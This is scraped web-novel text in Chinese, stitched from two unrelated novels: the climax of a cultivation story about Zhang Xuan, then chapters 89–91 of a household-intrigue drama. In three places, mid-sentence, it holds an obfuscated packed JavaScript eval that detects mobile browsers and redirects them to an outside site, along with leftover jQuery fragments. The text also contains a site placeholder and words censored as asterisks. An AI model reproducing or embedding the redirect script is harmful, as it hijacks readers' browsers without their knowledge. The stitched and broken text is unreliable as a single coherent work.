“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672137|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,**开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!
第89章 对名声有损
晏逐星没有注意到裴明镜。
她下车之后直接去见了烈国公夫人。
烈国公夫人和骆文缨一块来的,三人闲谈片刻,侯府施粥也已经结束。
晏逐星便准备打道回府。
只是九栀还没回来,她打算再等一等。
这时,裴明镜走了过来。
“晏大小姐,又见面了。”
晏逐星背后瞬间绷紧。
此地并无案件发生,裴明镜忽然出现是为什么,也没看到卫国公府有人施粥呀。
“见过裴大人。”晏逐星面上不显,淡定地冲他行礼。
“晏大小姐对外人倒是心善。”裴明镜意有所指。
晏逐星淡淡道:“侯府近来多有不顺,父亲命我来给百姓施粥,做点善事,积点功德,希望能让侯府扫清阴霾,也让母亲和兄长早日恢复健康。”
“大小姐当真希望他们康复么?”裴明镜紧盯着她的双眸。
“自然。毕竟他们可是我的亲人。”晏逐星一脸诚恳。
“我还以为大小姐会希望他们早点**呢。”裴明镜嗤笑。
“裴大人说的哪里话,在您眼里,我竟是那等十恶不赦之人么?”晏逐星瞪大了眼睛,一脸诧异,眼里带着几分泪意,似是被他的话伤到了。
“你明明不是那种逆来顺受之人,何必在我眼前装成这副可怜的模样。你就是用这个样子,骗过永安王的么?”裴明镜不为所动。
晏逐星原本还打算再陪他演一会儿戏,将自己柔弱不能自理可怜兮兮的形象贯彻到底。
听到他攀扯谢翊宁,她心底没由来地升起一股怒火。
她根本没有骗过谢翊宁,谢翊宁什么都知道。
“裴大人说笑了,永安王聪慧无双,怎么可能会被人轻易蒙蔽。”晏逐星收起了笑意,语气愈发冷淡。
见她将先前那副可怜模样化作拒人于千里之外的冰霜,裴明镜反倒笑了。
“这才是真实的你吧。你从来就是浑身带刺的蔷薇,而非需要娇养的幽兰。”
晏逐星盈盈一笑:“多谢裴大人夸赞。蔷薇也好,幽兰也罢,都很美。”
裴明镜一愣。
寻常女子若是被这般讽刺,恐怕早就涨红了脸羞愤欲绝,而晏逐星竟然淡定地将他的嘲讽曲解成了赞美。
一时间,轮到他哑口无言。
这时,九栀匆匆走了过来,眉头锁得很紧。
“小姐……”她正欲开口跟晏逐星说那小姑娘的事,就看到了一旁站着的裴明镜,她瞬间收声,不再言语。
“裴大人,我还有事,先走一步。告辞。”晏逐星随意行了一礼,拉着九栀上了马车。
压根不在乎裴明镜会怎么想。
横竖他拿不到证据,还和他演个什么劲。
“是不是出什么事了?”上了马车,晏逐星赶忙询问。
九栀点了点头。
“那小姑娘没撒谎,她娘亲确实刚生下了一个小妹妹。她爹也**,她的爷爷奶奶也真的将她们母女给抛弃了。不过那都是有原因的。”
“什么原因?”晏逐星追问。
“那小姑娘的母亲名唤刘芳草。之前曾被谢锦程圈禁过一段时间,她的夫君宋征去替王府替她讨公道,却被谢锦程命下人打得重伤不治去世。公婆迁怒于她,又认为她生下的孩子并非他们宋家的孩子,所以儿子死后就将她给分了出去,抛弃了她。”
“那小姑娘不愿意离开娘亲和妹妹,宋家老两口便也不管她了。”
听到这话,一旁的双鲤攥紧了拳头。
“这谢锦程也太可恶了!不知道祸害了多少个家。”
晏逐星想了想,赶忙叫车夫停车。
她掀开车窗探头出去,叫住了乘坐马车离开的裴明镜。
“裴大人,我要报官。”
裴明镜搞不明白她葫芦里卖的什么药,迟疑了片刻还是叫停了马车。
“何事要报官?”他掀开车帘询问。
晏逐星给了九栀一个眼神。
九栀赶紧下车过去将先前在小姑娘家打听到的事情都说了一遍。
裴明镜没想到今日不过来盯着晏逐星施粥,竟然还有意外收获。
“你带我们走一趟。”裴明镜看向九栀。
九栀扭头看向晏逐星。
之前裴明镜可是一直在调查她,老在他面前晃,她怕暴露。
晏逐星看懂了她眼里的意思,直接把她叫上了马车。
“裴大人,我们都已经将地址和来龙去脉告知了您,想必也用不着我的婢女同你们一块过去了吧?”
“毕竟,她是我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674749|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贴身婢女,跟着京兆府的官差一同去办案,若是被人瞧见了,恐怕会引来闲人妄加揣测,有损我的名声。还望大人体恤。”
“京城谁人不知你的名声,还用得着损么?”裴明镜身旁的小厮忍不住嘀咕。
晏逐星瞬间变冷,裴明镜也皱起了眉头。
“多嘴,还不赶紧给晏大小姐道歉。”他冷声呵斥小厮。
小厮嗫嚅着唇,不愿开口。
夫人最瞧不上的就是这位晏大小姐了,他若给她道歉,回头夫人知道了不得气死。
“正是因为我的名声是不好,所以我才想着避嫌。若是我的名声再雪上加霜,那我也就不用活了。逼死侯府嫡女,对裴大人的名声想必也不好吧?”晏逐星冷冷看着裴明镜。
“掌嘴。”裴明镜沉声吩咐。
他身后那位带刀护卫二话不说抬手扇了那个小厮两个耳光。
小厮被扇得两眼发直,人都傻了。
“不必劳烦裴大人了,教训人,我还是喜欢亲力亲为。这样才痛快。”她伸手从小茶几上抓了两个核桃,重重砸向了小厮的嘴。
“哎哟。”他惊叫着捂住了自己的唇。
猛地发现自己牙齿缺了一个角,嘴唇也肿了起来。
“我名声是不好,所以劳烦裴大人日后离我远些。省得你好好一个冰清玉洁的人儿,叫我给毁了。”晏逐星说完,车帘一摔,扬声道。
“回府。”
定远侯府的马车疾驰而去。
裴明镜面如寒霜,扭头看了小厮一眼。
“今日起,你便回母亲身边去吧,不必再跟在我身边。”
小厮慌忙跪下:“大人,我知错了,您不要赶我走呀。”
若是让夫人知道他被世子爷赶走,纵使他祖母在夫人面前得脸,他也免不了被训斥的。
裴明镜却没有搭理他,只是轻飘飘地留下了一句——
“送回母亲院中,杖二十。”
听到这话,小厮腿一软,竟直接瘫倒在了这冰天雪地之中。
*
晏逐星回了侯府,心中的郁气方才消散了些许。
她深吸一口气,调整好自己的心情,准备去见定远侯。
就瞧见定远侯身边的小厮乐呵呵地跑了过来。
“大小姐,好消息!”
第90章 什么好消息
“什么好消息?”晏逐星心里隐约有了猜测。
“今日您去施粥后,阮姨娘身子不适请了大夫,查出有孕了。咱们府上要添丁了呀。”小厮乐呵呵地开口。
“侯爷给咱们所有人都发了喜钱,就等着您回来一块用膳了。”
今日正好是第三日。
阮寄薇倒是卡准了时间,也不知道她是怎么做到瞒天过海的。
晏逐星欣然赴宴。
今日的晚宴,除了她,就只有定远侯和阮寄薇。
温如霜并未出现。
“见过大小姐。”阮寄薇恭敬地冲她行礼。
见她没有因为有身孕就恃宠而骄,失了分寸,定远侯对她是越看越满意。
晏逐星笑道:“阮姨娘如今有了身孕,日后不必这般多礼。”
她瞥了定远侯一眼,又笑着开口。
“府中添丁是喜事,不请母亲来一块庆贺么?”
听她提起温如霜,定远侯就觉得晦气。
今日查出阮寄薇有孕后,温如霜便大闹了一出。
“明修还没回来,你就想着你的新儿子?我且看你能得意到多久,这孩子保不保得住还不一定呢。”
温如霜的话在耳边炸响。
定远侯沉着脸道:“大喜的日子,别提晦气的人。”
“是。”晏逐星垂眸落座。
*
温如霜得知晏逐星回来后就跟定远侯还有阮寄薇一块用膳,气得又将屋里的东西狠狠砸了一遍。
砸完过后,她忍不住抱着嬷嬷李氏哭了起来。
“明修在王府生死未卜,他们倒庆贺上了。”
李氏心乱如麻,一颗心惴惴不安。
如今侯府真是乱极了。
大少爷回了青州,二少爷又被关在王府,二小姐还只能去给表少爷当妾。
侯府怕是要变天了。
也不知道等大少爷回府,这侯府里还有没有他们的容身之处。
李氏轻轻替她抚背安慰道:“夫人,当务之急,是赶紧把侯爷从阮姨娘那抢回来啊。”
“我这样子怎么抢?”温如霜气得狠狠捶了一下毫无反应的腿。
“阮姨娘有了身子,自然不能伺候侯爷。您可以安排一个听话的姨娘与她分宠呀。”李氏提醒。
温如霜止住了眼泪,思索了起来。
柳姨娘和林姨娘当初都是她手里下的丫鬟,送给侯爷之前她就给他们灌了绝子药。
如今她们已年老色衰,恐怕吸引不了侯爷的关注。
她将主意打到了自己的大丫鬟芰荷身上。
芰荷是她一手培养出来的,绝对不会背叛她。
侯爷不就是图阮寄薇能陪他红袖添香、吟风弄月么,芰荷也是识文断字的,未必会输给阮寄薇。
虽说她的容色稍逊阮寄薇三分清丽,却生得一副好身量。
纤秾有致,起伏玲珑,便是有过孩子的妇人,也少有其这般丰韵婀娜之态。
从前侯爷也曾偷偷打量过芰荷,但那丫头识趣,每回侯爷来的时候都会躲着不见他。
她也就放心了。
如今,倒是可以让她一试。
想了想,温如霜将芰荷叫了过来,把有意让她给侯爷做妾一事说了出来。
芰荷脸“歘”一下变得惨白。
侯爷比她年长了十几岁,而且她知道柳姨娘和林姨娘的下场,一旦成了侯爷的姨娘,就得服下绝子药。
可她还年轻,她想要一个属于自己的孩子啊。
见她的表情,温如霜便知道她不愿意。
她心底有些高兴又有些不满。
高兴的是这丫头没想着攀高枝,不满的是她这个主子都发话了,她一个丫鬟竟然还想拒绝么。
但眼下她也找不到更合适的人选,因此只能耐着性子道:
“你放心,你是我一手栽培的。你去给侯爷当姨娘,也是跟阮寄薇争宠。等她没了,我自会许你一个孩子。”
芰荷听到这话,知晓此事再无转圜的余地,咬唇点了点头:“奴婢一切听夫人吩咐。”
有她这话,温如霜放心多了。
“你先回去准备准备吧,明日我便同侯爷提纳你做妾一事。”
“是。”芰荷再一次应下,整个人如雨后残荷蔫巴巴的,没了往日的精气神。
翌日。
温如霜还没来得及找定远侯说纳妾的事情,就收到了长子寄回家的家书。
“看看你教出来的好女儿!”
定远侯火冒三丈。
做妾就算了,竟然还偷银钱私逃,真是丢尽了侯府的脸面。
这样的丑事,真是闻所闻问。
温如霜捡起书信一目十行地看完,差点没当场晕过去。
“这一定有什么误会……”她哆嗦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681482|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着开口。
“能有什么误会。”定远侯面色难看至极。
“就按明远说的,当她**。”
“不,若是这样……”温如霜当即反对。
要是就这样草率地宣布了女儿的死讯,日后若明月找回来了又该如何自处。
“你住嘴。她**,我们才有理由把明修接回来。”定远侯冷冷地看着她。
温如霜一瞬间就住嘴了。
是啊,亲妹妹**,王府总不能继续扣人了吧,总得让他回家奔丧。
见她不再反对,定远侯冷哼一声:“她早就该死在外边了。若她没回来,星儿又怎会与我们离心。”
原本强撑着身子的温如霜听到这锥心之言,“哇”一下吐出了一口血来。
“你枉为人父!”她指着定远侯的鼻子狠狠咒骂后便晕了过去。
定远侯没有再搭理她,立刻命人将晏明月的死讯散播了出去。
而后亲自去了昭瑞亲王府要人。
“小女明月在回外祖家的路上染了风寒,不幸身亡。明修和明月活着时感情最好。现在明月没了,无论如何,他这个做兄长的都得回家送她最后一程。”
这个理由,让人无法拒绝。
昭瑞亲王命人把晏明修从谢锦程手中要了回来。
定远侯瞧见他胳膊腿都完好无损,只是瘦了些,当即松了一口气。
看来谢锦程还是有分寸的,没敢伤他儿太重。
“多谢王爷。”定远侯领着晏明修回侯府。
晏明修紧绷着一张脸,一言不发跟在他身后。
“你这是记恨上为父了?”见他这般模样,定远侯拧紧眉头,厉声质问。
“难道我不该恨?!”晏明修眼底怒火翻涌,若不是尚存几分理智,他恐怕当场就要弑父了。
如果父亲没有把他留下,他又怎会被谢锦程那个畜生侮辱至此。
“你在王府不过数日,顶多听了几句难听话。既未伤筋动骨,又未损及性命,竟也值得你恨我至此?”定远侯火气腾地窜起,声音陡然升高,比他的声音还要大上几分。
“你根本就不知道谢锦程对我做了什么!”晏明修撕心裂肺地吼了出来。
“那你倒是说呀,他对你做了什么?”定远侯怒目直视他,仿佛他说不出个子午寅卯来,就要动手收拾他了。
第91章 杀了温如霜
“他……”晏明修脑海里瞬间闪过那些令人作呕的场景,只是说出了一个字,就忍不住俯身干呕了起来。
“惺惺作态。”定远侯皱眉甩下这么一句话,径直去了阮寄薇的院子里。
如今他是半点也不想见到这个儿子。
一看到他空洞洞的左眼,他就难受。
这个儿子,彻底废了。
日后别说在朝堂上有所建树,就算让他去联姻都没法联了。
哪个有头有脸的人家愿意让自己的女儿嫁给一个瞎子。
得知晏明修回来了,温如霜急急忙忙地命人抬着她去见儿子。
没想到,晏明修却不想看到她,直接锁了门,不许任何人靠近。甚至连饭都不愿意吃,也不许丫鬟小厮伺候他。
温如霜急得直掉眼泪。
“怎么就变成这样了呢。”
她惶惶之中又带着些许愤怒。
“都怪晏逐星,一切都是她害的。”温如霜气得咬牙切齿。
若不是晏逐星那死丫头忽然换了性子,她们一家又怎么会那么倒霉。
如今明月不在了,这个时候就不能让侯爷纳芰荷为妾,此事还需从长计议。
对付阮寄薇的事情得暂时放一放,她现在更想晏逐星死。
温如霜眼眸里闪过一抹寒意。
*
晏逐星只知道晏明月**,并不知道她是**的。
她只知道是晏明远寄了家书回来报丧。
而家书里的内容,只有定远侯和温如霜知道。
晏逐星已经从眼线那里知晓了温如霜想要抬芰荷当姨娘的事情。
如今晏明月一死,打破了温如霜的计划。
她接下来一定会铆足心思对准阮寄薇。
思及此处,晏逐星决定去见定远侯一面。
一来可以打听一下晏明月的死因,二来顺便和阮寄薇通个气。
“见过父亲。”晏逐星来了书房。
定远侯心情正烦躁,不耐烦地抬眼看她:“你来作甚?”
“女儿心里有些不安,想同父亲说会儿话。父亲见多识广,您若能开导我几句,或许我就不会那么怕了。”晏逐星微微低头,似是有些惶恐。
定远侯向来吃这一套,听到这话,面色顿时变得和颜悦色了起来。
“坐吧,什么事呀?”
“二妹妹身子向来康健,怎么会因为风寒去世,会不会是因为……”晏逐星话还没说完。
一抹躁意悄然爬上定远侯的眉心。
他直接开口打断了晏逐星:“够了。这事与你无关,你莫要多问。明月就是风寒而亡的。”
他这个态度,便让晏逐星猜到了晏明月之死肯定有问题,绝对不是简单的风寒。
